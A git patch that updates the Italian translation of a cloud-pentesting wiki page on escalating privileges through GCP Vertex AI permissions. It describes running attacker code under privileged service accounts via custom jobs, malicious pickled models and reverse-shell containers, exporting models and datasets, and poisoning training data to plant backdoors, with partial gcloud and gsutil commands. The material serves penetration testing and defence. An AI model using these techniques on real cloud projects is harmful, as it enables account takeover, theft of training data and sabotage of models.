From a680609a4b3f00efbab34c84e06bc9fed589ef2e Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 24 Nov 2025 10:24:02 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/gcp-security/gcp-privilege-escalat --- .../gcp-vertex-ai-privesc.md | 116 +++++++++--------- 1 file changed, 57 insertions(+), 59 deletions(-) diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md index 789a77816..d33e5b872 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md @@ -12,11 +12,11 @@ Per maggiori informazioni su Vertex AI consulta: ### `aiplatform.customJobs.create`, `iam.serviceAccounts.actAs` -Con il permesso `aiplatform.customJobs.create` e `iam.serviceAccounts.actAs` su un service account di destinazione, un attaccante può **eseguire codice arbitrario con privilegi elevati**. +Con la permission `aiplatform.customJobs.create` e `iam.serviceAccounts.actAs` su un target service account, un attaccante può **eseguire codice arbitrario con privilegi elevati**. -Questo funziona creando un custom training job che esegue codice controllato dall'attaccante (sia un custom container che un pacchetto Python). Specificando un service account privilegiato tramite il flag `--service-account`, il job eredita i permessi di quel service account. Il job viene eseguito su infrastruttura gestita da Google con accesso al GCP metadata service, permettendo l'estrazione dell'OAuth access token del service account. +Questo avviene creando un custom training job che esegue codice controllato dall'attaccante (sia un custom container sia un Python package). Specificando un privileged service account tramite il flag `--service-account`, il job eredita i permessi di quell'account di servizio. Il job viene eseguito su Google-managed infrastructure con accesso al GCP metadata service, permettendo l'estrazione dell'OAuth access token dell'account di servizio. -**Impact**: Full privilege escalation to the target service account's permissions. +**Impatto**: Escalation completa dei privilegi fino ai permessi dell'account di servizio target.
@@ -65,19 +65,17 @@ gcloud ai custom-jobs stream-logs --region= ```
-> [!CAUTION] -> Il custom job verrà eseguito con le autorizzazioni dell'account di servizio specificato. Assicurati di avere il permesso `iam.serviceAccounts.actAs` sull'account di servizio target. ### `aiplatform.models.upload`, `aiplatform.models.get` -Questa tecnica ottiene l'escalation di privilegi caricando un modello su Vertex AI e sfruttando poi quel modello per eseguire codice con privilegi elevati tramite il deployment di un endpoint o un batch prediction job. +Questa tecnica ottiene l'escalation dei privilegi caricando un modello su Vertex AI e poi sfruttando quel modello per eseguire codice con privilegi elevati tramite un endpoint deployment o un batch prediction job. > [!NOTE] -> Per eseguire questo attacco è necessario avere un bucket GCS leggibile pubblicamente o crearne uno nuovo per caricare gli artifact del modello. +> Per eseguire questo attacco è necessario avere un GCS bucket leggibile pubblicamente oppure crearne uno nuovo per caricare gli artifact del modello.
-Upload malicious pickled model with reverse shell +Carica pickled model malevolo con reverse shell ```bash # Method 1: Upload malicious pickled model (triggers on deployment, not prediction) # Create malicious sklearn model that executes reverse shell when loaded @@ -113,7 +111,7 @@ gcloud ai models upload \
-Carica modello con container reverse shell +Carica modello con reverse shell nel container ```bash # Method 2 using --container-args to run a persistent reverse shell @@ -145,16 +143,16 @@ gcloud ai models upload \
> [!DANGER] -> Dopo aver caricato il modello malevolo un attacker potrebbe aspettare che qualcuno utilizzi il modello, oppure avviare il modello lui stesso tramite un endpoint deployment o un batch prediction job. +> Dopo aver caricato il modello malevolo, un attaccante potrebbe aspettare che qualcuno utilizzi il modello oppure avviare se stesso il modello tramite una deployment su endpoint o un job di batch prediction. #### `iam.serviceAccounts.actAs`, ( `aiplatform.endpoints.create`, `aiplatform.endpoints.deploy`, `aiplatform.endpoints.get` ) or ( `aiplatform.endpoints.setIamPolicy` ) -Se hai i permessi per creare e distribuire modelli su endpoints, o per modificare le policy IAM dell'endpoint, puoi sfruttare i modelli malevoli caricati nel progetto per ottenere privilege escalation. Per attivare uno dei modelli malevoli caricati in precedenza tramite un endpoint, tutto ciò che devi fare è: +Se hai i permessi per creare e distribuire modelli su endpoint, o per modificare le policy IAM degli endpoint, puoi sfruttare i modelli malevoli caricati nel progetto per ottenere escalation di privilegi. Per attivare uno dei modelli malevoli caricati in precedenza tramite un endpoint, tutto ciò che devi fare è:
-Distribuire il modello malevolo su un endpoint +Distribuire un modello malevolo su un endpoint ```bash # Create an endpoint gcloud ai endpoints create \ @@ -175,16 +173,16 @@ gcloud ai endpoints deploy-model \ #### `aiplatform.batchPredictionJobs.create`, `iam.serviceAccounts.actAs` -Se hai i permessi per creare un **batch prediction job** ed eseguirlo con un service account, puoi accedere al metadata service. Il codice malevolo viene eseguito da un **custom prediction container** o da un **malicious model** durante il processo di batch prediction. +Se disponi dei permessi per creare una **batch prediction jobs** e avviarla con un service account, puoi accedere al metadata service. Il codice malevolo viene eseguito da un **custom prediction container** o da un **malicious model** durante il processo di batch prediction. -**Nota**: I batch prediction jobs possono essere creati solo tramite REST API o Python SDK (nessun supporto per gcloud CLI). +**Note**: Le batch prediction jobs possono essere create solo tramite REST API o Python SDK (no gcloud CLI support). > [!NOTE] -> Questo attacco richiede prima l'upload di un malicious model (vedi la sezione `aiplatform.models.upload` sopra) o l'utilizzo di un custom prediction container contenente il codice della tua reverse shell. +> Questo attacco richiede prima l'upload di un malicious model (vedi la sezione `aiplatform.models.upload` sopra) o l'utilizzo di un custom prediction container con il tuo reverse shell code.
-Crea un batch prediction job con un malicious model +Create batch prediction job with malicious model ```bash # Step 1: Upload a malicious model with custom prediction container that executes reverse shell gcloud ai models upload \ @@ -240,14 +238,14 @@ https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${R ### `aiplatform.models.export` -Se hai il permesso **models.export**, puoi esportare gli artifact del modello in un bucket GCS che controlli, accedendo potenzialmente a dati di addestramento sensibili o a file del modello. +Se possiedi il permesso **models.export**, puoi esportare artefatti del modello in un GCS bucket che controlli, accedendo potenzialmente a dati di addestramento sensibili o ai file del modello. > [!NOTE] -> Per eseguire questo attacco è necessario avere un bucket GCS leggibile e scrivibile da tutti oppure crearne uno nuovo per caricare gli artifact del modello. +> Per eseguire questo attacco è necessario avere un GCS bucket accessibile in lettura e scrittura da chiunque, oppure crearne uno nuovo per caricare gli artefatti del modello.
-Esporta gli artifact del modello in un bucket GCS +Esporta artefatti del modello in un GCS bucket ```bash # Export model artifacts to your own GCS bucket PROJECT="your-project" @@ -274,12 +272,12 @@ gsutil -m cp -r gs://your-controlled-bucket/exported-models/ ./ ### `aiplatform.pipelineJobs.create`, `iam.serviceAccounts.actAs` -Crea **ML pipeline jobs** che eseguono più passaggi con container arbitrari e consentono escalation dei privilegi tramite accesso reverse shell. +Crea job di pipeline ML che eseguono più step con container arbitrari e consentono privilege escalation tramite accesso reverse shell. -Le pipeline sono particolarmente potenti per l'escalation dei privilegi perché supportano multi-stage attacks in cui ogni componente può usare container e configurazioni diverse. +Le pipeline sono particolarmente potenti per il privilege escalation perché supportano attacchi multi-stage in cui ogni componente può usare container e configurazioni differenti. > [!NOTE] -> È necessario un GCS bucket world writable da usare come pipeline root. +> È necessario un bucket GCS scrivibile da chiunque da usare come root della pipeline.
@@ -292,7 +290,7 @@ pip install google-cloud-aiplatform
-Crea un job di pipeline con un container reverse shell +Crea pipeline job con container reverse shell ```python #!/usr/bin/env python3 import json @@ -386,15 +384,15 @@ print(f" {response.text}") ### `aiplatform.hyperparameterTuningJobs.create`, `iam.serviceAccounts.actAs` -Crea **hyperparameter tuning jobs** che eseguono codice arbitrario con privilegi elevati tramite custom training containers. +Crea **job di hyperparameter tuning** che eseguono codice arbitrario con privilegi elevati tramite custom training containers. -Hyperparameter tuning jobs permettono di eseguire più training trials in parallelo, ognuno con valori di hyperparameter diversi. Specificando un container malevolo contenente una reverse shell o un comando di exfiltration, e associandolo a un service account privilegiato, è possibile ottenere privilege escalation. +I job di hyperparameter tuning permettono di eseguire più training trial in parallelo, ciascuno con valori di iperparametri diversi. Specificando un container malevolo con una reverse shell o un exfiltration command, e associandolo a un privileged service account, puoi ottenere privilege escalation. -**Impatto**: Escalation completa dei privilegi ai permessi del service account di destinazione. +**Impatto**: Full privilege escalation ai permessi del service account di destinazione.
-Crea un hyperparameter tuning job con reverse shell +Crea un job di hyperparameter tuning con reverse shell ```bash # Method 1: Python reverse shell (most reliable) # Create HP tuning job config with reverse shell @@ -435,15 +433,15 @@ gcloud ai hp-tuning-jobs create \ ### `aiplatform.datasets.export` -Esporta **datasets** per esfiltrare i dati di addestramento che possono contenere informazioni sensibili. +Esporta **datasets** per exfiltrate i dati di addestramento che possono contenere informazioni sensibili. -**Note**: Le operazioni sui dataset richiedono REST API o Python SDK (nessun supporto del gcloud CLI per i dataset). +**Nota**: Le operazioni sui dataset richiedono REST API o Python SDK (nessun supporto gcloud CLI per i dataset). -I dataset spesso contengono i dati di addestramento originali che possono includere PII, dati aziendali riservati o altre informazioni sensibili utilizzate per addestrare i modelli di produzione. +I dataset spesso contengono i dati di addestramento originali che possono includere PII, dati aziendali riservati o altre informazioni sensibili utilizzate per addestrare modelli di produzione.
-Esporta il dataset per esfiltrare i dati di addestramento +Esporta dataset per exfiltrate i dati di addestramento ```bash # Step 1: List available datasets to find a target dataset ID PROJECT="your-project" @@ -492,25 +490,25 @@ cat exported-data/*/data-*.jsonl ### `aiplatform.datasets.import` -Importare dati malevoli o avvelenati in dataset esistenti per **manipolare l'addestramento del modello e introdurre backdoors**. +Importa dati dannosi o avvelenati in dataset esistenti per **manipolare l'addestramento del modello e introdurre backdoors**. -**Nota**: Le operazioni sui dataset richiedono REST API o Python SDK (nessun supporto gcloud CLI per i dataset). +**Nota**: Le operazioni sui dataset richiedono REST API o Python SDK (no gcloud CLI support per i dataset). -Importando dati appositamente creati in un dataset utilizzato per addestrare modelli ML, un attacker può: -- Introdurre backdoors nei modelli (misclassification basata su trigger) -- Poison i dati di addestramento per degradare le prestazioni del modello -- Inject dati per far sì che i modelli leak informazioni +Importando dati appositamente creati in un dataset usato per l'addestramento di modelli ML, un attaccante può: +- Introdurre backdoors nei modelli (misclassificazione basata su trigger) +- Avvelenare i dati di addestramento per degradare le prestazioni del modello +- Iniettare dati per causare il leak di informazioni dai modelli - Manipolare il comportamento del modello per input specifici -Questo attacco è particolarmente efficace quando si prendono di mira dataset utilizzati per: -- Classificazione di immagini (inject immagini etichettate in modo errato) -- Classificazione di testo (inject testo di parte o malevolo) -- Object detection (manipolare bounding boxes) -- Recommendation systems (inject preferenze false) +Questo attacco è particolarmente efficace quando prende di mira dataset utilizzati per: +- Classificazione di immagini (iniettare immagini etichettate in modo errato) +- Classificazione di testo (iniettare testo fazioso o maligno) +- Rilevamento oggetti (manipolare le bounding boxes) +- Sistemi di raccomandazione (iniettare preferenze false)
-Importare dati avvelenati in un dataset +Importare dati avvelenati nel dataset ```bash # Step 1: List available datasets to find target PROJECT="your-project" @@ -598,7 +596,7 @@ done > label_flip.jsonl
-Avvelenamento dei dati per l'estrazione del modello +Data poisoning for model extraction ```bash # Scenario 3: Data Poisoning for Model Extraction # Inject carefully crafted queries to extract model behavior @@ -612,7 +610,7 @@ EOF
-Attacco mirato contro entità specifiche +Attacco mirato a entità specifiche ```bash # Scenario 4: Targeted Attack on Specific Entities # Poison data to misclassify specific individuals or objects @@ -625,34 +623,34 @@ EOF
> [!DANGER] -> Gli attacchi di Data poisoning possono avere conseguenze gravi: -> - **Sistemi di sicurezza**: Eludere il riconoscimento facciale o il rilevamento delle anomalie -> - **Fraud detection**: Addestrare modelli a ignorare specifici schemi di frode -> - **Content moderation**: Far classificare contenuti dannosi come sicuri -> - **Medical AI**: Classificare in modo errato condizioni di salute critiche -> - **Autonomous systems**: Manipolare il rilevamento degli oggetti per decisioni critiche per la sicurezza +> Data poisoning attacks possono avere gravi conseguenze: +> - **Sistemi di sicurezza**: Bypass del riconoscimento facciale o del rilevamento delle anomalie +> - **Rilevamento delle frodi**: Addestrare i modelli a ignorare specifici schemi di frode +> - **Moderazione dei contenuti**: Far classificare come sicuro contenuto dannoso +> - **AI medica**: Classificare erroneamente condizioni di salute critiche +> - **Sistemi autonomi**: Manipolare il rilevamento degli oggetti per decisioni critiche per la sicurezza > > **Impatto**: -> - Modelli backdoored che classificano in modo errato al verificarsi di trigger specifici +> - Backdoored models che si classificano erroneamente su trigger specifici > - Prestazioni e accuratezza del modello degradate > - Modelli con bias che discriminano determinati input > - Information leakage attraverso il comportamento del modello -> - Persistente a lungo termine (i modelli addestrati su poisoned data erediteranno il backdoor) -> - +> - Persistenza a lungo termine (i modelli addestrati su dati avvelenati erediteranno il backdoor) +> +> ### `aiplatform.notebookExecutionJobs.create`, `iam.serviceAccounts.actAs` > [!WARNING] > > [!NOTE] -> **API deprecata**: L'API `aiplatform.notebookExecutionJobs.create` è deprecata come parte della deprecazione di Vertex AI Workbench Managed Notebooks. L'approccio moderno è usare **Vertex AI Workbench Executor** che esegue i notebook tramite `aiplatform.customJobs.create` (documentato sopra). -> Vertex AI Workbench Executor permette di pianificare esecuzioni di notebook che girano sull'infrastruttura di custom training di Vertex AI con un service account specificato. È fondamentalmente un wrapper di convenienza intorno a `customJobs.create`. -> **For privilege escalation via notebooks**: Usa il metodo `aiplatform.customJobs.create` documentato sopra, che è più veloce, più affidabile e utilizza la stessa infrastruttura sottostante del Workbench Executor. +> **API deprecata**: L'API `aiplatform.notebookExecutionJobs.create` è deprecata come parte della deprecazione di Vertex AI Workbench Managed Notebooks. L'approccio moderno è usare **Vertex AI Workbench Executor** che esegue i notebook tramite `aiplatform.customJobs.create` (già documentato sopra). +> Il Vertex AI Workbench Executor permette di pianificare l'esecuzione di notebook che girano sull'infrastruttura di training custom di Vertex AI con un service account specificato. È essenzialmente un wrapper di comodità attorno a `customJobs.create`. +> **Per privilege escalation tramite notebook**: Usa il metodo `aiplatform.customJobs.create` documentato sopra, che è più veloce, più affidabile e utilizza la stessa infrastruttura sottostante del Workbench Executor. **La tecnica seguente è fornita solo per contesto storico e non è raccomandata per l'uso in nuove valutazioni.** Crea **notebook execution jobs** che eseguono Jupyter notebooks con codice arbitrario. -I Notebook jobs sono ideali per l'esecuzione di codice in stile interattivo con un service account, poiché supportano celle di codice Python e comandi shell. +I notebook jobs sono ideali per l'esecuzione di codice in stile interattivo con un service account, poiché supportano celle di codice Python e comandi shell.